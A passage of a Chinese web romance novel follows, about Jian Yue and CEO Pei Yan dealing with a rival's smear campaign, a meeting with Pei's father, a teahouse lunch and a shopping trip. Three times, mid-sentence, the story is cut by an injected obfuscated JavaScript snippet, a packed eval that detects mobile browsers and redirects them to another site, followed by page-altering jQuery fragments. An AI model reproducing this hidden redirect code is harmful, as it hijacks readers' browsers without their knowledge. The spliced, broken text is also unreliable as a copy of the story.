助理听到她的声音抬起头,欲言又止半天,最后什么也没说,只将手机递向了她。 简月接过手机,一条热搜映入眼帘。 ——#亚恒总裁因被指出是私生子,怒而出手打人# 配文是裴言实为裴文州私生子,配图则是司衡脸上模糊处理过的伤。 简月的心一沉。 好个司衡,颠倒黑白的动作还挺快。 助理站在一旁看她,不敢吭声。 他虽然是裴言亲手带进亚恒的,但说到底,他也只是个打工人,对那些家族关系并不清楚,所以当他看到私生子的时候,也不由惊讶了一番。 但除了私生子,更让他惊讶的,是词条的后半段——“怒而出手打人”。 在他的认知里,裴总接手亚恒五年,从未对任何一个人发过脾气,是一个情绪稳定到近乎冰冷的人。 初到亚恒那两年,因为裴总是空降,无数的挑衅和冒犯找上门来——没有人服他。 而他就是在那个时候,亲眼看着裴总如一个不会出错的机器人一样,冷静解决掉一个又一个麻烦,将亚恒洗牌成了他想要的样子。 他见过所有人慌乱和失态的模样,唯独没见过裴总的。 这样一个人,却被说成“怒而出手打人”,他着实是有些不相信。 可转念一想,想起昨天开门后那张带伤的脸,他又变得不那么确定了。 或许,“私生子”是他的软肋呢? 简月看完问他:“你不敢跟他说?” 助理点头:“这些事本该交给公关部门去做,可事关裴总本人,我不敢轻易做主。” 简月看他一眼:“哦,那我跟他说吧。” 助理瞬间激动得热泪盈眶。 道完谢,他转身准备回公司,走了几步想起什么,又回头看了看简月。 简月已经迈步进了电梯,除了最初的意外和不悦,她脸上倒没什么其他的情绪。 奇怪了,连他这种跟了裴总几年的人都不禁担心,简小姐怎么就一点不担心呢? 这事若处理不好,影响可是方方面面的。 再严重一点……总裁位会换人也说不定。 想到此,助理不由打了个冷战。 * 再见到裴言,他脸上的淤青和伤明显淡了一层。 看出他有在听话地按时用药,简月满意地笑了:“好啦,看来再过几天就能彻底好了。” 她取出手机,找到那个热搜界面:“对了,有个东西给你看一下。” 她将手机递给他,男人接过扫了几眼,神色未变,淡淡道:“无聊。” 简月也这样觉得。 倒不是觉得这事不重要,而是她相信以裴言的能力,这种事根本入不了他的眼,根本影响不到他。 餐桌上放着几片烤好的面包,简月走过去,自来熟地拿起一片,咬了一口问道:“打算怎么解决?” “谁先动手,调个监控就一目了然,他这么做无非是想引起裴文州的注意而已。” “至于裴文州。”男人倒了杯牛奶给她,平静陈述道,“亚恒已经不是他的天下了。” 简月眯了眯眼,忍不住骄傲。 她就是喜欢他这一点,冷静又运筹帷幄,所有的一切都尽在掌握。 她喝一口牛奶,想了想,继续问:“那天晚上你明明可以不还手,完全占据道德高点,为什么还要还手,让司衡抓住把柄?” “……”裴言忍不住笑了,“我又不是机器人,怎么可能事事冷静思考,事事忍得住。” 面对一个狠狠伤害过简月的人,他怎么可能保持理性,怎么可能只顾计算自己的利益得失? 他为简月失态的次数还少吗? “你是为了给我出气?” “一部分。”裴言低眸看她,“或许我应该告诉你,男人也有嫉妒心这个东西。” 简月眨了下眼睛,神奇地发现,她被他的嫉妒心取悦到了。 她喜欢看裴言为她吃醋嫉妒的模样,也享受他为她吃醋嫉妒的模样。 尤其是在有对比的情况下。 一个事事冷静自持的人,却屡屡为她嫉妒失态,展现出别人都不曾见过的真实鲜活的一面,这又何尝不是一种偏爱和特殊对待。 “是哦。”简月笑吟吟道,“那你打吧,你开心就好,反正他也不能拿你怎么样。” 说完放下手中的面包和牛奶,她踮起脚搂住裴言的脖子,轻笑着说道:“你嫉妒他,无非是觉得他有的东西你没有,刚好,你女朋友是个从不双标的人——” 她的腰慢慢被一只手搂住。 简月将他的脖子抱得更紧了些,凑近他耳旁:“以后他有的东西,你都有。”微微一顿,声音放得更轻,几乎成了气声,“他没有的,你也有。” 腰间骤然被用力抱紧,她能感觉到男人的整个身体都绷直了。 “比如?”男人声音沙哑地问道。 “你猜啊。”简月故意道。 男人愣了一秒,蓦然轻笑:“没关系,我早晚会知道。” 电话铃声在这时响起。 简月正好从他怀里退开,用下巴示意他先看手机。 裴言看她一眼,低头从桌上拿起手机,按下接听键。 不知是谁打来的,也不知电话里说了什么,房间里迎来一段很长的沉默。 一分钟后,男人“嗯”了声,回道:“我二十分钟后到公司。” 等他挂断电话,简月问:“怎么了?” “一点小事,不要紧。”他说着已开始穿外套。 “是不是和司衡有关?”简月跟上去,“我和你一起去。” 裴言穿外套的动作轻轻一顿,接着笑了:“好。” * 热搜词条下的评论渐渐多了起来。 有人吃瓜看热闹,有人惊叹都身居高位了还能跟小学生一样打起来,有人理性分析私生子也不是裴言的错,总之五花八门。 助理就是被手机怼脸的情况下看到这些评论的。 拿手机的是一个姓杨的总监,这些天正代表公司来和他们谈平□□播权的合作。 原本已经谈到最后一步准备签合同了,却不想他借着这样的机会,不经预约,主动上门来要求修改合同细则。 “这是你们裴总吧?”杨总监咄咄逼人,“一言不合就出手打人,我很怀疑我们接下来的合作能否顺利进行。” 助理不卑不亢地回:“杨总监,与贵司定下合作事宜的是亚恒,而您给我看的是裴总的个人私事,我想这两者之间并无直接关系。” “并无关系?”他哼了一声,“你们裴总身居高位,解决问题的方式竟然是动手打人,说出去都让人贻笑大方,若往后我司与亚恒出现合作不愉快的地方,裴总是否会用同样的方式解决?” “哦对了,或许没有下次了。”杨总监佯装一副恍然大悟的模样,“亚恒的前任总裁裴文州先生还健在,不知是否会容忍一个私生子做出这等有损亚恒形象的事,说不定下次见面再谈合同,就是新任总裁与我对接了。” “你!”明晃晃的挑衅当即让助理变了脸色,欲要争执,却被身后一道声音打断。 “杨总监。”裴言说,“有什么话,可以当着我面再说一遍。” 助理立刻转过身。 早上才见过的两个人并肩而来。 男人一身黑色西装,神情淡淡,随意一个抬眼就让刚才还在大放厥词的人噤了声。 好像身上自带一种无人敢在他面前放肆的气场。 而简月站在他身边,没有说话,只是饶有兴致地看着这一切。 助理赶紧迎上去:“裴总,简小姐。” 看到这一幕,杨总监的额头不禁落下了几滴冷汗。 谁也不知道他刚才的话被裴言听去了多少。 他僵了僵,讪笑道:“裴总。” “裴总?”简月缓缓开口,嘴角弯起讥讽的弧度,“你刚才好像不是这么称呼他的。” 这话回得十分尖锐,杨总监无言以对,只得继续讪讪而笑:“没有,没有,您听错了,我叫的一直是裴总。” 后面低着头的助理忍不住翻了个白眼。 简月冷冷扯了个笑,不再接话,裴言看她一眼,这才向他缓缓走来。 他走得很慢,表情很淡,看不出恼怒,也看不出暴风雨前的压抑,明明什么都没有说,却带给他一种扑面而来的压迫感。 安静的三十三层中微有脚步声清晰,一声一声,像审判的倒计时。 杨总监咽了咽口水。 “助理告诉我,你半个小时就赶到了亚恒,要求修改合同,怎么,合同有什么问题,当着我面再说一遍。”裴言说。 合同能有什么问题。 不过是创世给了他们好处,要他们借此压价罢了。 “……” 他不答,裴言继续:“顺便,亚恒内部的事就不劳杨总监操心了,今天的亚恒是我说了算,明天的亚恒也是我说了算,无论杨总监来多少次,亚恒都是我说了算。” 一字一字,掷地有声。 风掠过窗户,窗框发出细微的声响。 杨总监哑口无言。 寥寥几句就将他堵得不知如何接,让他下不来台。 论胆识,论气场,他样样都不如对面。 他擦去额头的冷汗,瞥一眼后面的简月和助理,改口道:“这样,裴总,我们找个地方单独聊吧。” * 在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104948|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会议室为裴言和杨总监倒完茶水后,助理退出来,端着茶壶又向总裁办走去。 推开总裁办的门,简月正坐在裴言的椅子上转圈。 颇有一种不拿自己当外人的感觉。 他走上前,边倒茶边宽慰简月:“简小姐,您不用担心,这件事裴总会处理好的。” 反正裴总也不是第一次遇到这种事了。 椅子停下来,简月抬头看他,好笑道:“担心什么?我不担心啊。” 助理礼貌笑笑:“那就好,您在这里休息,有什么需要再叫我。” 他转身,却叫简月叫住。 “倒是你,你看起来挺担心他。” 助理脚步一顿,不得不承认,简月说对了。 他不相信裴总会冲动到出手打人,可他又无法解释裴总脸上的伤。 他也不觉得“私生子”有什么影响,可在外人眼里……这词实在不好听,多多少少会戴上一层有色眼镜看裴总。 助理转过身,老实点头:“我也是第一次遇到这种情况。” 简月笑了笑,单手撑起脸颊,安慰道:“放心,这种小事影响不了他,他会处理好的。” …… 助理忽然有点想笑。 他来宽慰简月,可到最后,却成了被宽慰的那个人。 可笑过之后想起她说的话,又有种她和裴总交过心的感觉。 因为交过心,所以只要短短几天,她就能比他更了解裴总。 想了想,助理问:“那您呢?他们那样说裴总,您不生气吗?” 连他都听不得那三个字,简月作为裴总的女朋友,会不生气吗? 果然,简月手中的动作停了下来,手机屏幕静止在某个界面,没有再动过。 她敛了笑意,说:“生气。” 紧接着她又说:“但我相信他的能力不是区区几个字就能抹杀的。” 她将手机倒扣在桌面上,转过来看他:“那条热搜,你怎么看?” “……”简月的话他不敢不答,于是他回忆着热搜的内容,一点点分析道,“首先,热搜只是对面的一家之言,真实情况如何,要看监控才能做定论。” 顿了顿,助理私心地补充道:“以我对裴总的了解,裴总不是冲动出手的人。” “其次,家庭原因和裴总无关,真正谈起利益来,没人会在乎这一点。至于群众,他们很快就会被下一个热搜吸引,对裴总造不成什么影响。” 这样仔细分析完一遍,助理的心安定了不少,他恍然明白过来,这条热搜的最大作用,其实就是引起上任总裁裴文州的注意。 新任总裁如果风评不好,情绪不稳定,处理公事无法冷静客观,那就是失职,那就不适合成为亚恒的领导者。 这条热搜背后的人一定认为,裴文州能扶裴言上位,那就也能把他拉下来。 可惜……亚恒已经不是裴文州能影响的了。 “你这不是都分析出来了吗?”简月笑笑,“放心吧,他不会有事的。” 助理松了口气。 “对了。”简月拿起倒扣的手机,低头随口说道,“今天来的那个杨总监,短视又愚蠢,我猜裴言会取消和他们的合作。” 助理:“……” 半小时后,裴言从会议室出来,甩给他一份文件,淡淡道:“去通知下面,和天进的合作作废。” 助理接过文件,看看后面脸色灰败的杨总监,不由感慨,简小姐要不要这么了解裴总。 之前他看到简小姐,还暗暗担心过她和司衡的事,可如今再看,他竟然生出一种错觉——他们天生就该在一起。 * 裴言推开办公室的门,简月刚好抬眼看过来。 她弯了弯眼睛,双手撑起下巴,含笑问他:“解决了吗?” 他紧绷的神经蓦然松懈下去。 只要看到她,他的心就有一种安定的感觉。 他走过去,眼里露出浅浅笑意:“嗯。” “监控在调,合作取消了。” “我猜到了。”简月微微得意,“那种落井下石想趁机捞好处的人,合作下去只会后患无穷,说不准什么时候就被恶心一把。” “而且我猜司衡找过他,许了他些好处,不然就凭他那副色厉内荏的模样,哪里有底气来亚恒挑衅你?” “嗯,很聪明,都猜对了。” 她眼里笑意深了些,更得意了:“夸我。” “夸你,简大小姐就是聪明。” 简月一脸受用。 她握上裴言的手,十指相扣的同时问道:“中午一起吃饭?” 裴言没急着回答。 他垂眸,看向两人紧扣的手,缓缓道:“晚上吧。” “我要去见一面裴文州。” “你找他做什么?”简月奇道。 “他有话要问我。”裴言淡淡一笑,平静道,“你猜司衡和裴文州说了什么?” “……”简月心里涌起不详的预感。 “他说,几年前让裴家另一个儿子丧生的意外车祸,与我有关。” 24. 骄傲-24% 裴言下车的时候,裴文州正在别墅前的花园里修修剪剪。 自打不问公司事后,他就找了些闲散的事来打发时间。 看起来修身养性了许多,与从前只谈合同利益的样子有些不同。 裴文州在花园种了好几种花,各式各样,一眼望去,生机勃勃。 裴言向裴文州走去。 风拂过,枝叶发出沙沙声响,裴文州感觉到什么,抬头看向他。 四目相对,一个平静,一个面无表情,略显冷漠。 平静的那个只看了一眼就移开目光,复又低头修剪起花枝,边修边道:“来了,先坐吧。” 他的身后摆着两把竹椅,一个小茶几。 裴言走到他身侧几步的位置,没有坐,淡淡开口:“找我什么事。” 裴文州动作没停,余光看了一眼裴言,说:“还是那个脾气。” 他终于修剪完毕,站直身体从各种角度看了一遍,问起第一个问题:“公司最近怎么样?” 说话的同时,他转身在一把竹椅上坐下,拿起桌上的茶壶,不紧不慢给自己倒了杯茶。 “挺好。”裴言惜字如金。 裴文州听完一笑,也不知在笑什么。 他端起茶杯抿了口,这才抬起头,借着阳光细细打量他。 他脸上的伤还没好全,裴文州眯了眯眼,问道:“怎么被打成这样?” “让了他点。” 裴文州又是一声笑。 他吹了吹茶,慢吞吞喝下几口,又开口道:“那条热搜我看到了。” “私生子。”他一声轻笑,“只有外人才会觉得你在乎这些。” 裴言皱了皱眉,眉宇中透出几分不耐烦。 “听说你最近交了个女朋友,叫简月,是司衡的前女友。”裴文州放下茶杯,向后靠在椅背上,意味深长道,“你和司衡打起来,是因为她吧。” 被一眼看穿,裴言反倒放松下来,淡淡道:“那又怎样。” 阳光有几分刺眼,裴文州抬起一只手遮了遮,说道:“挺有意思,为了一个女人争成这样。” “你和简月在一起的事看起来挺刺激司衡,激得他做了不少小动作,甚至连我这儿也不得清净。” 裴文州顿了顿,接着说:“比如,他想方设法告诉我,你弟弟的车祸和你有关。” 等了这么久终于说到正题,裴言的不耐烦微减,反问:“你相信?” 有时候他不得不承认,司衡的观察力可谓出色,他很聪明地找到了裴文州的软肋,然后用这一点来借刀杀人。 可惜,司衡距离算无遗策还差那么一点。 裴文州相信与不相信,都不会对他造成任何影响。 “不。”裴文州说。 他闭上眼睛,用挡阳光的那只手揉了揉额角:“这点判断力都没有,你以为我当年怎么带着亚恒往前走的。” 这个回答确实有些出乎裴言意料,他不动声色地蹙了下眉,继续问:“既然不相信,为什么还要我过来。” “自然是为了亚恒的事。”裴文州说,“司衡这些动作瞧着像是冲你来的,虽然对亚恒影响不大,但长此以往也挺恶心人的,你不打算做点什么?” 当然打算做点什么。 从他得到简月的偏爱起,他就没有任何顾忌了。 “三个月。”裴言说,“三个月后,他会一败涂地。” 裴文州睁开眼睛。 他仔细看了他一会儿,坐直身体,将茶杯里的茶喝完,说道:“看来你已经有计划了。” “挺好。”他又给自己倒了一杯热茶,“不过私生子这词不太好听,有空的时候,发个声明吧。” 他补充道:“我来写。” 大众对私生子的印象还停留在出轨产物,他亲自写一份声明,至少能让大众知道裴言的出身没有任何问题。 裴言的出身干干净净,对亚恒来说,也只有好处没有坏处。 裴言淡淡看他一眼:“随你。” 裴文州的意思他听懂了,但声明与否,他觉得无所谓。 反正时间会淡化一切。 反正简月不会因此而薄待他。 正事谈完,裴言没有再待下去的兴趣,他转身离开,走了几步想起什么,又回头看裴文州:“对了。” “我和简月的事,不管你支持还是反对,我都不会和她分开,没有人可以阻止我,包括你。” 裴文州原本已经闭上眼睛开始小憩了,闻言又睁开眼睛,扫了他一眼:“你的私事,和我无关,你想和谁在一起,那是你的事。” 就像裴文州从没有在他这里奢求过父爱一样,他也从来没有在裴言那里奢求过什么父子亲情。 现在的状态对他而言,已经足够。 裴言顿了顿,轻笑一声:“很好,很高兴我们在这件事上达成一致。” * 第十次按灭手机,简月百无聊赖地叹了口气。 这是一条裴言从别墅出来的必经之路,而她已经在这里等了四十分钟。 早上在亚恒她提起一起吃午饭的事,裴言却说要去见裴文州一面,还对她说,放心,最多一个小时他就回来。 话是这么说,可她还是忍不住担心他。 裴文州那样的人,对裴言没有任何父子之情,万一他真的相信了司衡的话,会对裴言怎么样? 一想到那些可能,她的心就控制不住地揪成一团。 她从助理那儿要来了地址,不想打扰裴言,就只能在他必经的第一个十字这里等着。 这样,他一出来她就能看到他了。 能看看他好不好,看看他有没有事。 她向远处望去,望着望着,一辆黑色的车缓缓出现在视线中。 她认出了那辆车。 简月立刻站直,在路边对着那辆车招了招手。 空旷的马路,一人一车实在太显眼,黑车的主人很快注意到了她,车慢慢降了速,向路边驶来。 简月迫不及待地向那辆车走去。 她站在台阶上,看着车停稳,又迫不及待地拉开车门,弯腰看向坐在主驾的男人:“怎么样?他有没有对你怎么样?” 她的担忧和关切溢于言表,男人被取悦,弯了弯唇,回答:“没有。” 他看向她,抬了抬下巴:“上来,我带你去吃饭。” “可我的车还在前面。”简月伸手指了下正前方的车。 “你把钥匙给我,我找人给你开回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144374|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”他伸出手,“现在,上来。” 简月想了想觉得也行,于是搭上他的手,坐进了车里。 车重新启动上了路,简月看他几眼,观察着他的神色:“看来你顺利解决了,裴文州不能对你怎么样是不是?” “准确地说,是他没信司衡。” 他简略地讲了一遍在别墅外和裴文州的谈话,最后道:“司衡很努力,大大小小的证据准备了不少,可惜这件事是无稽之谈,裴文州根本没信。” 前因后果都听了一遍,知道裴言不会有任何事,简月的心总算放了下来。 客观来说,能坐到总裁位的人都不简单,司衡固然找到了裴文州的软肋,可裴文州也不是那么轻易就被挑拨的。 想真正瓦解一段关系,靠的不是一次猛攻,而是日积月累,滴水穿石。 司衡的失误,就在于操之过急。 简月:“那就好,司衡既然不客气,那就别怪你反击了。” 裴言淡淡一笑:“嗯,不提他了,我们先去吃饭。” 这会儿已经一点多,简月不由好奇:“去哪儿吃?” “通幽处。” 这个名字很特别,简月一听就想起了那间茶馆,于是更好奇了:“茶馆?那里还能吃饭?” “一般来说是不能的,但我和老板熟一些,偶尔会去那里吃,他自己做的家常菜,手艺还不错,你可以尝尝。” 简月觉得新奇,点点头:“好啊。” “你中午没休息,先在车上睡一会儿吧,开过去还要一段时间,到了我叫你。” 简月看着窗外飞速闪过的风景,应道:“好。” 她找了个舒服的姿势闭上眼,却半晌都没有睡意。 脑子里乱糟糟地闪过很多东西。 有昨天司衡对她说过的话,有裴言提起的过去,还有今天早上因为热搜而引起的一系列事。 一天内发生了这么多事,一时让她有种不知今夕何年的恍惚感。 她睁开眼睛,默默看了会儿窗外,忽然开口:“裴言,其实我觉得你是个很厉害的人。” “你没睡?”男人微微一愣,接着问,“哪里厉害?” “当断则断,敢于舍弃,舍弃后就绝不回头。”她笑,“很果决,很清醒,我喜欢。” “敢于舍弃?”他的声音听起来有微微的笑意,“怎么说?” “比如你父母,他们对你没有爱,你就不会做无用的讨好,不会对他们投入感情,也不会给他们机会伤害你。” 有时候及时清醒地做出决定、不内耗、敢于舍弃,也是一种勇气。 不值得的人就要立刻舍去,要骄傲地爱惜自己,而非讨好别人。 她是如此,裴言也是如此。 某种程度上,他们是一样的人。 车内安静了好一会儿。 良久,他回道:“你也是,很果决,很清醒,我很喜欢。” 最后四个字他模糊了重点,听起来既像在说品质,也像在说她这个人。 简月耳根热了热,明明是她在夸他,最后又变成她不知怎么接话了。 不过经过这些天的事,有一件事她可以确认。 ——她从未如此庆幸认识了裴言这个人。 25. 骄傲-25% 裴言提前打过电话,到通幽处的时候,正好吃上热腾腾的饭菜。 简月放下包在隔间坐好,尝了几口,露出笑容:“果然不错。” 手艺被认可,一旁的老板露出骄傲神情,不住地说:“喜欢就好,喜欢就好,那你们慢用,有什么事再叫我。” 裴言点了下头,老板关上门退了出去。 这是他们第二次在通幽处独处。 简月的思绪飘回从前,想起上一次他们还不怎么熟,见面只谈公事,这一次再来,却已经是男女朋友的关系,世事变化果然有趣。 她眨眼想了想,想起上次在这里问他的一个问题其实被他不动声色地带过去了,他不答反问,根本就没回答那个问题。 ——“你特意选在这里,是喜欢喝茶?” 这样一个无关紧要的小问题,不知道答案也不会怎样,可是自昨晚后,她就对他生出无限的好奇心,什么都想问问他,什么都想了解一下。 于是简月看着对面的男人,重新问起那个问题:“对了,你第一次约我在这里,是喜欢喝茶吗?” 裴言正在低头吃饭,闻言看她一眼,道:“嗯,英国的茶喝不惯。” “也是。”她赞同地点头,继续问,“你在英国待了几年?” “五年。” “那比我久一点,难怪你每周都要来茶馆。” “比你久?”裴言微微蹙眉,他十年前第一次在英国遇到简月,三年前听说简月刚回国不久,之间应该是七年才对,怎么会是他待的时间比她久? “对呀,除了在英国读书,我还去过很多别的国家呢。”她撑着下巴陷入回忆,“法国,西班牙,爱尔兰……” 难怪他找不到她。 原来除了英国,她还去过这么多地方。 “以前在国外的时候,我每年的飞行轨迹都能绕地球一圈,对了对了!”她语气激动起来,兴致勃勃道,“我还去过一个很小的国家,那里的人不会说英语,只会说当地的语言,刚去的时候我没法和他们交流,只能靠手势,一周后我离开,已经能说简单的日常用语在他们那里买东西了。” 她说起这些的时候,眼里发着光,依稀还是那个初见时就让他一眼心动的姑娘。 她是被好好爱护养大的,所以眼界宽广,对任何人都有着十足的底气和自信,张扬,耀眼,特别。 那一瞬间,裴言毫不怀疑地想,即使没有十年前的前缘,无论什么时候,无论在哪里,只要他见到她,就一定会喜欢上她。 简月说了许多,对面的裴言却只是安静地听,没有发表任何看法,他看着她,似乎在想什么,黑漆漆的眸子里露出很温柔的笑意,俨然情深。 她停下来,眨了眨眼,问他:“怎么了,这么看着我,在想什么?” “在想……”男人唇角微微上扬,“要是再早一点认识你就好了。” 要是再早一点找到你就好了。 再早一点,在她和司衡谈恋爱之前,就好了。 “现在也不晚啊。”她微笑。 裴言蓦然失笑,点点头:“嗯,现在也不晚。” 确实,能和她在一起就已经够好了。 他应该知足。 * 吃完饭,喝了几杯茶,时间已经过了两点半。 午后的阳光从窗外照进来,暖洋洋的,照得简月犯困。 裴言看出她没精打采一副想睡觉的样子,主动说道:“睡一会儿吧,腿给你枕。” 简月犹豫一会儿,屈服道:“好吧,那就十五分钟,十五分钟后你记得叫我!” “嗯,睡吧。” 她枕上裴言的腿,身上盖了男人的外套,窗外是一碧如洗的天,枝叶在风中摇曳,摇啊摇,摇出重影,一切都宁静又美好。 简月的心一安,闭上眼,呼吸渐渐轻缓。 极度静谧的隔间里,裴言望着窗外望了好一会儿,才低下头,目光近乎贪婪地从她脸上一寸寸扫过。 他走了十年才走到如今这一步,要是她能真的喜欢上他就好了。 就像她对司衡一样,不,要比司衡更多。 最好她的心里只剩他一个人,连一丝缝隙都分不出给旁人。 要是他永远不会失去她就好了。 就像现在这样,时间静止,凝结成永恒。 * 简月是在生物钟的作用下猛然醒来的。 她午休一向只是十几分钟的浅眠,即使没有闹钟也会自然惊醒,区别就是几分钟的误差而已。 她睁开眼的时候,裴言正在看窗外。 “几点了?”简月问。 裴言看一眼时间,说:“两点四十九。” “啊,睡过了,都十七分钟了,你怎么不叫我?” 她匆忙从裴言的腿上坐起,男人恰巧在这时低头看她。 两人之间的距离急速拉近,还是简月先反应过来,在最后一刻停了下来。 显然,他们都没有想到这一幕。 两人双双一怔,接着不知怎么,都鬼使神差地没有退后,就这样保持着轻轻一动就会挨上的距离,默默看着对方。 一个放慢了呼吸,睡意彻底被驱散,一个缓缓滚了下喉结。 太近了。 对方的眼睛,对方的唇,对方的气息,都太近了。 是个……接吻的好时机。 他会亲上来的吧,简月想。 这个想法一出,简月忽然紧张了些,呼吸放得更轻,眼睛睁得更大,只为看清楚接下来会发生什么。 然而,接下来什么都没发生。 她的手机铃声响了起来。 好不容易酝酿起来的气氛像漏了气的气球,一瞬间让紧张到极点的情绪瘪了下去。 简月:“……” 裴言倒没有什么被打断的不悦,他看出她的无奈,像是觉得可爱,忍不住笑了一声:“先接电话吧。” 简月叹一口气,接起电话。 是江颖打来的,再过两天就是十月假期,她来问她回不回家。 这段时间的事一件接一件,要不是江颖提起,简月险些都忘了放假的事。 她愣了愣,回道:“嗯,回,下周二吧,我回去住两天。” 江颖连声说好。 挂断电话,简月重新看向裴言:“你听到了,下周我要回家住两天,不能及时陪你了。” “嗯,没关系,你陪父母比较重要。” 可是裴言没有重要的父母陪他一起。 想到这一点,简月心里一涩,几乎是哄着道:“嗯,等我陪爸妈住几天就立刻来陪你。” “还有,我朋友说她周日会放一天假,周日我们买完衣服然后去找她吃饭,你觉得可以吗?” “当然。”裴言一笑,“你决定就好,我听你的。” * 裴言的助理动作很快,下午的时候,经过处理的监控视频公示了出来。 所有无关内容一律被剪掉,只剩下裴言和司衡那段。 视频上清楚可见,是司衡先出的手,而后裴言给予反击。 舆论的风向开始转变,一部分人恍然大悟原来是恶人先告状。 先出手的那个反而先跳出来泼了脏水。 紧接着第二天,亚恒那边又发了一则简短的声明。 寥寥几句,公正客观,不带任何感情地陈述了裴言的出身,他的出生清白干净,与大家想象中的那种私生子截然不同。 落款是裴文州的亲笔签名。 舆论至此扭转了大半。 还有少部分人不信邪,仍带着戾气疯狂攻击其他人。 但这个世界上,每时每刻都在发生各种各样的事,这件事还没完就会有下一件更刺激的事吸引人们眼球,你方唱罢我登场,不需要再做什么,总会慢慢淡出人们的视野,不再有任何人提起。 简月看到这件事处理得这么漂亮,忍不住弯了弯唇。 不仅为裴言的纵观全局,也为司衡的吃瘪。 在热搜刚爆出来的第一天晚上,姜予彤还发消息问过她怎么回事,她简单解释几句,然后说,不用放在心上。 会解决好的。 一切都会过去的。 她相信裴言。 * 时间终于来到周日。 坐进vip的专用休息室,简月一页页翻着他们的新品手册。 负责他们的SA见简月看得专注,转而对着裴言道:“裴先生,我们这里还有一些成衣样品展示,您也可以看看。” 男人坐在沙发上,嗓音淡淡道:“不用了。” SA一噎,瞬间明白过来两人是谁在做主,于是微微一笑:“那你们先看,看好后有需要再随时叫我。” 简月点了下头。 她正在看标准的商务打扮,西装皮鞋衬衫领带。 因为她觉得裴言这样穿最好看。 187的身高加修长匀称的身材,天生就是衣架子,而西装讲究线条美,设计成熟稳重,穿在裴言身上,可谓是最大程度地发挥了他的长处,上位者的气质尽显。 同时,黑色这种神秘深邃又危险的颜色,落在她眼里,又为他添了几分禁欲的性感。 简月结合版型和设计挑了一些,然后拿过去给裴言看,问他:“怎么样?” 裴言低眸一看,全是正装和正装的配件,没有一件是日常风。 他翻了几页,指着其中一页的右上角问:“这件呢?” 男人指的是一件黑色的薄毛衣,简月看过去,摇摇头:“太普通了,凸显不了你的气质,你还是穿衬衫最好看。” 她眨眨眼看他:“还是说你不喜欢这些?”她好奇起来,“为什么呀,你明明穿起来很帅很好看。” 裴言忍不住笑了一下,重复道:“很帅?很好看?” “比所有男人都帅。”简月补充道。 所有男人里包括司衡,也就是说—— 他比司衡帅。 裴言手指一顿,点头道:“喜欢,你选的这些,我都喜欢。” “那就买这些,我给你买!”简月几乎是迫不及待地站起来,可才迈开一步,又想起那件毛衣,回头看向裴言。 男人正坐在沙发上看她,唇角微微弯起,带着淡淡的笑意,他明明在笑,可她总有种他的笑意未达眼底、他不是真正开心的感觉。 见她转过来,他微微一愣:“怎么了?” “裴言。”简月拿着册子又坐回去,“你是不是在骗我,你其实不喜欢这些衣服,你是看我喜欢才那么说的。” “不是。”他摇头,“我真的喜欢。” “那你为什么不开心?” 男人的眼里闪过一丝愕然,没等他想好理由,简月就接着问:“是不是因为那件毛衣?因为我没给你买,你不开心了?” 裴言:“……” 他不禁失笑,觉得她怎么会这么可爱。 一件毛衣而已,难道他自己买不起吗? 他只是想起了裴文州。 想起裴文州一身高定西装,居高临下把他当工具用的模样。 见他笑起来,眼里终于有零星的笑意溢出来,简月这才松一口气,放低了声音哄道:“好嘛,一件毛衣,你想要就说嘛,我给你买。” 男人再次失笑。 他第一次笑得肩膀都在微微发颤,也不知有什么好笑的,好一会儿才摇头道:“你真可爱。” 选好衣服重新叫了SA进来,她看一眼图册,问道:“要在这里试一下吗?” 简月觉得也行,于是让SA去拿样品。 高奢品牌一般讲究独特性,一款只卖一件,品牌会根据不同身高不同身材的目标群体,设计出完全不同的衣服,故而也没有码数区分。 简月挑的这几款都是针对身高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174063|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 180以上的,理论上很适合裴言,但具体效果还是试穿一下更放心。 SA很快拿来试穿样品。 虽然衣服一款只卖一件,但为了更好地服务客人,满足客人的试穿需求,品牌也会准备好几件专门用来试穿的干净样品。 他们的理念是客人试穿的衣服必须保证崭新干净,绝不能让客人穿上一位客人穿过的衣服。 裴言接过衣服,一一拿去试衣间换。 简月挑了不少,西装长裤,衬衫,马甲,西装外套,领带,其中以衬衫和领带这种经常要换的居多。 裴言从试衣间走出来时,简月立刻笑了。 果然是一等一的衣架子,穿起来比她想象的还要好看。 流畅的线条,他随意一站理袖口的动作,举手投足散发出的冷淡气质,看得她都要对他有想法了。 有时候遮得太严实,扣子和领带系得太一丝不苟,会比彻底敞开更有效果。 意识到自己的脸越来越热,简月不敢再想,强装镇定地问他:“试完了吗?” “还有一件。”男人说完再次走进试衣间,“再等我一下,很快就好。” 